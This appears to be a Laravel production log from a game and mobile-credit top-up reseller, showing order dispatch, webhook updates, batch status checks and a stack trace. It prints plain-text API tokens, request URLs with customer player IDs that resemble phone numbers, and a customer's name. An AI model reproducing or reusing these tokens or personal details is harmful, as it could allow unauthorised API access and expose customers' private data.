[2026-03-24 22:06:30] production.INFO: Operation sent successfully {"operation_id":164324,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mfAzA-1774379190","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:06:30"}},"processed_data":{"order_number":"ORD-mfAzA-1774379190","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:07:08] production.INFO: SendAcceptReject: Notification queued {"user_id":7,"notification_type":"order_approved","reference_id":179450} 
[2026-03-24 22:07:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 22:08:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00"} 
[2026-03-24 22:08:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","total_operations":4,"sites_count":2} 
[2026-03-24 22:08:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-jHvtk-1774379136","ORD-8BLl-1774379176"]} 
[2026-03-24 22:08:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:08:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:08:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8BLl-1774379176","operation_id":164322} 
[2026-03-24 22:08:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321} 
[2026-03-24 22:08:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:08:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"processed":0,"errors":0} 
[2026-03-24 22:08:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"orders_count":2,"order_ids":["ORD-bKkvD-1774379186","ORD-mfAzA-1774379190"]} 
[2026-03-24 22:08:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321} 
[2026-03-24 22:08:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jHvtk-1774379136","operation_id":164321,"orders_count":2} 
[2026-03-24 22:08:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 22:08:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 22:08:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"count":2} 
[2026-03-24 22:08:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"count":2} 
[2026-03-24 22:08:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"user_id":7,"notification_type":"order_approved","reference_id":179448} 
[2026-03-24 22:08:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"user_id":7,"notification_type":"order_approved","reference_id":179449} 
[2026-03-24 22:08:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:08:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:08:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"processed":2,"errors":0} 
[2026-03-24 22:08:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324,"processed":2,"errors":0} 
[2026-03-24 22:08:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6So5mA3hUGvEUxOeKLgsSQMCISFrT9Pw","execution_time":"2026-03-24 22:08:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mfAzA-1774379190","operation_id":164324} 
[2026-03-24 22:08:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 22:08:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 22:08:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8BLl-1774379176","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:08:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-8BLl-1774379176","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:08:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:08:04] production.INFO: SendAcceptReject: Notification queued {"user_id":627,"notification_type":"order_approved","reference_id":179447} 
[2026-03-24 22:08:04] production.INFO: Order updated successfully. Order ID: 179447, Status: completed  
[2026-03-24 22:08:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8BLl-1774379176","status":"completed","codes_count":0} 
[2026-03-24 22:08:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jHvtk-1774379136","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:08:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-jHvtk-1774379136","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:08:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:08:05] production.INFO: SendAcceptReject: Notification queued {"user_id":227,"notification_type":"order_approved","reference_id":179446} 
[2026-03-24 22:08:05] production.INFO: Order updated successfully. Order ID: 179446, Status: completed  
[2026-03-24 22:08:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jHvtk-1774379136","status":"completed","codes_count":0} 
[2026-03-24 22:08:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 627  
[2026-03-24 22:08:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 227  
[2026-03-24 22:08:14] production.INFO: Constructing job for order: 179451  
[2026-03-24 22:08:16] production.INFO: Handling job for order: 179451  
[2026-03-24 22:08:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:08:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:08:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=957b423f-3e33-45e8-843b-ad36d5e5e6c0&Player_ID=52126136394  
[2026-03-24 22:08:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=957b423f-3e33-45e8-843b-ad36d5e5e6c0&Player_ID=52126136394","has_body":false} 
[2026-03-24 22:08:17] production.INFO: Operation sent successfully {"operation_id":164325,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WTC5-1774379296","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:08:17"}},"processed_data":{"order_number":"ORD-WTC5-1774379296","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 22:08:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WTC5-1774379296","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:08:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-WTC5-1774379296","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:08:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:08:28] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":179451} 
[2026-03-24 22:08:28] production.INFO: Order updated successfully. Order ID: 179451, Status: completed  
[2026-03-24 22:08:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WTC5-1774379296","status":"completed","codes_count":0} 
[2026-03-24 22:08:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 22:09:38] production.INFO: Constructing job for order: 179452  
[2026-03-24 22:09:41] production.INFO: Handling job for order: 179452  
[2026-03-24 22:09:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:09:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:09:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=e34937e3-8433-49f1-a5f8-f51902c359f9&Player_ID=0940850846  
[2026-03-24 22:09:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/19/params?qty=1&uuid=e34937e3-8433-49f1-a5f8-f51902c359f9&Player_ID=0940850846","has_body":false} 
[2026-03-24 22:09:41] production.INFO: Operation sent successfully {"operation_id":164326,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Pr3NW-1774379381","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:09:41"}},"processed_data":{"order_number":"ORD-Pr3NW-1774379381","amount":1055.336000000000012732925824820995330810546875,"status":"processing","product":"1000 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:09:46] production.INFO: Constructing job for order: 179453  
[2026-03-24 22:09:47] production.INFO: Handling job for order: 179453  
[2026-03-24 22:09:47] production.ERROR: API failed for order 179453 {"order_id":179453,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179453, 885, 1, 'e991ee9e-40a0-4...', '[{\"key\":\"userna...', 31, 29)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179453)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 22:09:47","memory_usage":61341696,"memory_peak":61341696}} 
[2026-03-24 22:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02"} 
[2026-03-24 22:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","total_operations":1,"sites_count":1} 
[2026-03-24 22:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-Pr3NW-1774379381"]} 
[2026-03-24 22:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 22:10:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:10:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:10:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:10:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"count":1} 
[2026-03-24 22:10:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"count":1} 
[2026-03-24 22:10:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"user_id":5,"notification_type":"order_approved","reference_id":179452} 
[2026-03-24 22:10:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:10:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:10:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"processed":1,"errors":0} 
[2026-03-24 22:10:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326,"processed":1,"errors":0} 
[2026-03-24 22:10:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ZdIFXHzYrVKuNGtPutV43s4RIkqTFZDQ","execution_time":"2026-03-24 22:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Pr3NW-1774379381","operation_id":164326} 
[2026-03-24 22:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:10:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:10:05] production.INFO: async() رجع: true  
[2026-03-24 22:10:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:10:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:10:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:10:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 22:10:53] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 22:10:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1033  
[2026-03-24 22:10:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 22:11:13] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.0","mainamount":"4","operation_number":"158795978","note":"أحمد حمادة","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpo135tc63v8tp4z7hn1j"}},"user_id":1759} 
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:11:14] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:11:14] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18721,"user_id":1759,"amount":4.0,"admins_notified":7} 
[2026-03-24 22:11:48] production.INFO: Constructing job for order: 179454  
